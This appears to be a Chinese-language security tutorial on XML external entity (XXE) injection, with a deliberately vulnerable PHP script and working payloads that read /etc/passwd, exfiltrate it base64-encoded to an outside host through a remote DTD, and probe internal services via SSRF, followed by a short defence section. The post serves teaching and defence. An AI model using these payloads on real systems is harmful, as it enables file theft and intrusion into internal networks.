XML實體注入漏洞攻與防 2017-04-13 #xxe #xml實體注入
目錄
- XML基礎
- XML實體注入漏洞的幾種姿勢
- 防御XML實體注入漏洞
XML基礎
XML是一種用于標記電子文件使其具有結構性的標記語言,用于標記電子文件使其具有結構性的標記語言,可以用來標記數據、定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言。XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。
XML技術基礎我在這里將不在詳細解讀,有興趣的小伙伴可以通過如下幾個鏈接去學習XML基礎:
- https://www.xml.com/axml/axml.html
- http://www.w3school.com.cn/xml/index.asp
- https://www.ibm.com/developerworks/cn/xml/x-newxml/
當然還是建議讀者詳細閱讀以上任意一個文檔并實踐之后再繼續往下看,以免造成知識跨度太大,看不懂或一知半解的情況。
XML實體注入基礎
當允許引用外部實體時,通過構造惡意內容,可導致讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等危害。
簡單了解XML以后,我們知道要在XML中使用特殊字符,需要使用實體字符,也可以將一些可能多次會用到的短語(比如公司名稱)設置為實體,然后就可以在內容中使用。
如下就聲明了一個名為coname
值為QiHoo 360
的實體。
<!DOCTYPE UserData [ <!ENTITY coname "QiHoo 360" > ]>
要在XML中使用實體,使用&coname;
即可。
為了演示漏洞,我們寫一個簡單的PHP腳本,如下:
<?php
$xml = file_get_contents("php://input");
$data = simplexml_load_string($xml);
foreach ($data as $key => $value){
echo "您的" . translate($key) . "是" . $value . "<br>";
}
function translate($str){
switch ($str){
case "name":
return "名字";
case "wechat":
return "微信";
case "public_wechat":
return "微信公眾號";
case "website":
return "網站";
}
}
假設這里我們希望用戶輸入的是:
<?xml version="1.0" encoding="utf-8" ?>
<user>
<name>Striker</name>
<wechat>strikersb</wechat>
<public_wechat>sec_fe</public_wechat>
<website>http://www.yaoqianglawyer.com</website>
</user>
然后就可以返回如下頁面:
XML實體注入漏洞的幾種姿勢
方法1:
<!DOCTYPE a [ <!ENTITY b SYSTEM "file:///etc/passwd"> ]>
方法2:
<!DOCTYPE a [ <!ENTITY % d SYSTEM "http://www.yaoqianglawyer.com/attack.dtd"> %d; ]>
其中attack.dtd
的內容為:
<!ENTITY b SYSTEM "file:///etc/passwd">
方法3:
<!DOCTYPE a SYSTEM "http://www.yaoqianglawyer.com/attack.dtd">
其中attack.dtd
內容同上不變。
利用xml實體注入我們可以讀取本地任意文件。
讀取任意文件的思路大概就是引入一個實體,實體內容為本地文件。
使用我們如上說的任意一種方法即可實現,我這里使用第一個(因為最方便)。
構造payload如下:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY b SYSTEM "file:///etc/passwd"> ]>
<user>
<name>Striker</name>
<wechat>strikersb</wechat>
<public_wechat>sec_fe</public_wechat>
<website>&b;</website>
</user>
提交后查看返回信息:
可以看到成功讀取了/etc/passwd
文件。
如果我們實戰中所在的場景下XML并沒有回顯,我們也可以使用另外一種方法讀取文件。
<!DOCTYPE a [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % dtd SYSTEM "http://www.yaoqianglawyer.com/attack.dtd">
%dtd;
%mydata;
]>
其中attack.dtd
的內容為:
<!ENTITY % all
"<!ENTITY % mydata SYSTEM "http://www.yaoqianglawyer.com/?%file">"
>
發送payload以后就可以在http://www.yaoqianglawyer.com/
的訪問日志中看到請求且帶上了/etc/passwd
文件base64加密以后的內容:
我們既然可以使用file
協議讀取本地文件,當然也可以使用http
協議訪問來造成SSRF攻擊,甚至可以使用gopher
協議。
具體能使用的協議主要取決于PHP,PHP默認支持file、http、ftp、php、compress、data、glob、phar、gopher協議。
如果PHP支持except
模塊,我們還可以利用except
模塊來執行系統命令。
簡單的SSRF攻擊實例如下:
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY b SYSTEM "http://127.0.0.1:1234/"> ]>
<user>
<name>Striker</name>
<wechat>strikersb</wechat>
<public_wechat>sec_fe</public_wechat>
<website>&b;</website>
</user>
然后就可以監聽到訪問了。
SSRF攻擊可以成功的話,我們自然可以進而攻擊企業內網的系統。
其他更多的危害各位可以參考OWASP出的文檔:
https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf
防御XML實體注入漏洞
- 禁用XML使用外部實體
- 盡量不要讓用戶直接提交XML代碼,如果一定要,請做好過濾。